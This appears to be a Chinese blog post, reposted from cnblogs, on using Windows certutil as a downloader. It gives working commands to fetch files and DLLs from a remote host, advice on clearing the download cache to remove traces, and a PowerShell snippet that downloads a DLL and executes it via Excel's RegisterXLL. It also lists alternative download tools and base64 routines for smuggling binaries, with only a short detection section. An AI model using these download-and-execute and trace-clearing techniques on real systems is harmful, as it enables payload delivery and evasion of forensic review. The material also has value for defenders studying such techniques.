- A+
certutil简介
用于证书管理
支持环境: XP - Windows 10 全系统
更多:https://technet.microsoft.com/zh-cn/library/cc755341(v=ws.10).aspx
downloader
(1) 保存在当前路径,文件名称同URL
eg:
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt
(2) 保存在当前路径,指定保存文件名称
eg:
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt file.txt
(3) 保存在缓存目录,名称随机
缓存目录位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
eg:
certutil.exe -urlcache -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt
(4) 支持保存二进制文件
eg:
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
注:
使用downloader默认在缓存目录位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
保存下载的文件副本
清除下载文件副本方法:
方法1: 直接删除缓存目录对应文件
如下图
方法2: 命令行:
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete
补充:
查看缓存项目:
certutil.exe -urlcache *
如下图
实际测试:
测试系统安装Office软件,下载执行dll对应的powershell代码如下:
1
2
3
4
|
$path= "c:\test\msg1.dll" certutil.exe -urlcache -split -f https: //raw.githubusercontent.com/3gstudent/test/master/msg.dll $path $excel = [activator]::CreateInstance([type]::GetTypeFromProgID( "Excel.Application" )) $excel.RegisterXLL($path) |
测试如下:
2、计算文件hash
(1) SHA1
certutil.exe -hashfile msg.dll
(2) SHA256:
certutil.exe -hashfile msg.dll SHA256
(3) MD5:
certutil.exe -hashfile msg.dll MD5
3、base64编码转换
(1) base64编码:
CertUtil -encode InFile OutFile
(2) base64解码
CertUtil -decode InFile OutFile
注:
编码后的文件会添加两处标识信息:
文件头:
-----BEGIN CERTIFICATE-----
文件尾:
-----END CERTIFICATE-----
如下图
downloader常用方法
利用certUtil简便快捷,但是使用后需要注意清除缓存,路径如下:
%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
downloader常用方法如下:
-
certUtil
-
powershell
-
csc
-
vbs
-
JScript
-
hta
-
bitsadmin
-
wget
-
debug
-
ftp
-
ftfp
base64编码转换常用方法
在编写脚本操作二进制文件时,常常会因为不可见字符报错,所以通常会选择先对二进制文件作base64编码再操作,最后通过解码还原出二进制文件。
所以在此整理一下常用不同开发工具对应的base64编码转换方式
powershell
base64编码:
1
2
3
|
$PEBytes = [System.IO.File]::ReadAllBytes( "C:\windows\system32\calc.exe" ) $Base64Payload = [System.Convert]::ToBase64String($PEBytes) Set-Content base64.txt -Value $Base64Payload |
base64解码:
1
2
3
|
$Base64Bytes = Get-Content ( "base64.txt" ) $PEBytes= [System.Convert]::FromBase64String($Base64Bytes) [System.IO.File]::WriteAllBytes( "calc.exe" ,$PEBytes) |
C SHARP(c#)
base64编码:
1
2
3
4
5
6
7
|
using System.IO;
byte [] AsBytes = File.ReadAllBytes( @"C:\windows\system32\calc.exe" ); String AsBase64String = Convert.ToBase64String(AsBytes); StreamWriter sw = new StreamWriter( @"C:\test\base64.txt" ); sw.Write(AsBase64String); sw.Close(); |
base64解码:
1
2
3
4
5
6
7
8
|
using System.IO;
String AsString = File.ReadAllText( @"C:\test\base64.txt" ); byte [] bytes = Convert.FromBase64String(AsString); FileStream fs = new FileStream( @"C:\test\calc.exe" , FileMode.Create); fs.Write(bytes, 0, bytes.Length); fs.Flush(); fs.Close(); |
js
base64解码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
fso1= new ActiveXObject( "Scripting.FileSystemObject" ); f=fso1.OpenTextFile( "C:\\test\\base64.txt" ,1); base64string=f.ReadAll(); f.Close(); enc = new ActiveXObject( "System.Text.ASCIIEncoding" ); length = enc.GetByteCount_2(base64string); ba = enc.GetBytes_4(base64string); transform = new ActiveXObject( "System.Security.Cryptography.FromBase64Transform" ); ba = transform.TransformFinalBlock(ba, 0, length); s= new ActiveXObject( "ADODB.Stream" ); s.Type=1; s.Open(); s.Write(ba); s.SaveToFile( "C:\\test\\calc.exe" ,2); |
certutil
base64编码:
1
|
CertUtil -encode InFile OutFile |
base64解码:
1
|
CertUtil -decode InFile OutFile |
注:
编码后的文件会添加两处标识信息:
文件头:
—–BEGIN CERTIFICATE—–
文件尾:
—–END CERTIFICATE—–
检测downloader
查看利用certUtil下载文件的缓存记录:
certutil.exe -urlcache *
缓存文件位置:
%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
FROM:
https://www.cnblogs.com/lfoder/p/8241548.html
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫